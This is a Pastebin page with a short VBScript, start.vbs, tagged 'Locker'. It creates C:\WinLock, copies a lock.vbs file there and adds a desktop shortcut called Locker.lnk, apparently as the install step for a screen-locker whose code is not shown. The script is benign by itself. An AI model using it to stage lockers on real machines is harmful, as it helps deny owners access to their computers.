Advertisement
MineHack7488

start.vbs

Feb 25th, 2023
1,888
1
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 0.52 KB | Cybersecurity | 1 0
  1. Set objFSO = CreateObject("Scripting.FileSystemObject")
  2. strFolder = "C:\WinLock"
  3. If Not objFSO.FolderExists(strFolder) Then
  4.    objFSO.CreateFolder(strFolder)
  5. End If
  6.  
  7. strFile = "lock.vbs"
  8. strDestination = "C:\WinLock\" & strFile
  9. objFSO.CopyFile strFile, strDestination, True
  10.  
  11. Set objShell = CreateObject("WScript.Shell")
  12. strDesktop = objShell.SpecialFolders("Desktop")
  13. strLinkName = strDesktop & "\Locker.lnk"
  14. Set objLink = objShell.CreateShortcut(strLinkName)
  15. objLink.TargetPath = "C:\WinLock\lock.vbs"
  16. objLink.Save
Tags: Locker
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement